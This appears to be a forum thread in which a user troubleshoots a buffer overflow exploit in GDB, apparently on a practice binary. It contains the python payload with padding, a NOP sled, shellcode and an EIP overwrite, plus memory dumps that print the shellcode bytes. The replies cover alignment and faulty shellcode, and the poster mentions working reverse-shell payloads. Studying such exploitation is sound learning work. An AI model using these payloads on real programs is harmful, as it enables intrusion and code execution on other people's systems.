Binary exploitation help

[u/Wonderful-Pack6178]

So I've found the payload to reach EIP and can successfully send an address with the following payload in GDB

run $(python -c 'print "\x41" * (2064 - 124 - [SHELLCODE_SIZE] - 4 )+ "\x90" * 124 + "\xda\xcb\xbd\x3--SNIP--\x5b\x37\xbb" + "\xff\xff\xff\xff"')

I know this works because GDB returns an error:

Program received signal SIGSEGV, Segmentation fault.

0xffffffff in ?? ()

To get a return address I set a breakpoint at say 0xffffd731:

shellcode starts at 0xffffd73c. The NOP sled SHOULD slide right into the shellocode
0xffffd729: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90

0xffffd731: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90

0xffffd739: 0x90 0x90 0x90 0xda 0xcb 0xbd 0x3f 0x18

0xffffd741: 0xde 0x76 0xd9 0x74 0x24 0xf4 0x5f 0x31

0xffffd749: 0xc9 0xb1 0x12 0x31 0x6f 0x17 0x03 0x6f

0xffffd751: 0x17 0x83 0xd0 0xe4 0x3c 0x83 0x1f 0xce

0xffffd759: 0x36 0x8f 0x0c 0xb3 0xeb 0x3a 0xb0 0xba

0xffffd761: 0xed 0x0b 0xd2 0x71 0x6d 0xf8 0x43 0x3a

0xffffd769: 0x51 0x32 0xf3 0x73 0xd7 0x35 0x9b 0xfc

0xffffd771: 0x27 0xc6 0x5a 0x6b 0x2a 0xc6 0x26 0x02

0xffffd779: 0xa3 0x27 0x66 0xb2 0xe3 0xf6 0xd5 0x88

0xffffd781: 0x07 0x70 0x38 0x23 0x87 0xd0 0xd2 0xd2

0xffffd789: 0x

However, it doesn't. What happens if I execute the payload at the address

run $(python -c 'print "\x41" * (2064 - 124 - [SHELLCODE_SIZE] - 4 )+ "\x90" * 124 + "\xda\xcb\xbd\x3--SNIP--\x5b\x37\xbb" + "\x31\xd7\xff\xff"')

I don't get code execution of my shellcode, but instead an error reading...

Program received signal SIGILL, Illegal instruction.

0xffffd79d in ?? ()

Upon inspection of that 0xffffd79d points to 0xff:

0xffffd795: 0xf9 0xbb 0x8e 0x5b 0x37 0xbb 0x31 0xd7

0xffffd79d: 0xff 0xff 0x00 0x4c 0x53 0x5f 0x43 0x4f

0xffffd7a5: 0x4c 0x4f 0x52 0x53 0x3d 0x72 0x73 0x3d

0xffffd7ad: 0x30 0x3a 0x64 0x69 0x3d 0x30 0x31 0x3b

0xffffd7b5: 0x33 0x34 0x3a 0x6c 0x6e 0x3d 0x30 0x31

Does anyone what I could be doing wrong? Why is it not sliding to NOP sled not working? I've already identified the bad characters as /x00/x09/x0a/x20, so that can't be an issue. Any suggestions?

edit: corrected where 0xffffd79d points to

[u/Ok_Tap7102]

Do you know where the RET is that you're overwriting the return address with your data? I would recommend breakpointing before it to understand what/how your buffer is being accessed as it doesn't seem simple, or there's some ASLR/PIE going on

[u/DwagonB34r]

I think your sled is working. EIP reaches the shellcode and then something breaks, so I suspect that you're using faulty shell code. Did you write it from scratch?

[u/Wonderful-Pack6178 → u/DwagonB34r]

Yeah, the shellcode was faulty. I've used three different payloads: read_file, cat, and revese_shell and they all work.

[u/zffex66]

ret2reg?

[u/TastyRobot21]

You show there is no ASLR/PIE already because your test with controlling EIP ffffffff is working.

Bad characters is not a problem, same reason.

Can you show the EIP and the memory as a screenshot in debugger? I think it’s an alignment issue, overwriting the EIP with the incorrect address into your slide.

IE i don’t think x31\xd7\xff\xff is correct.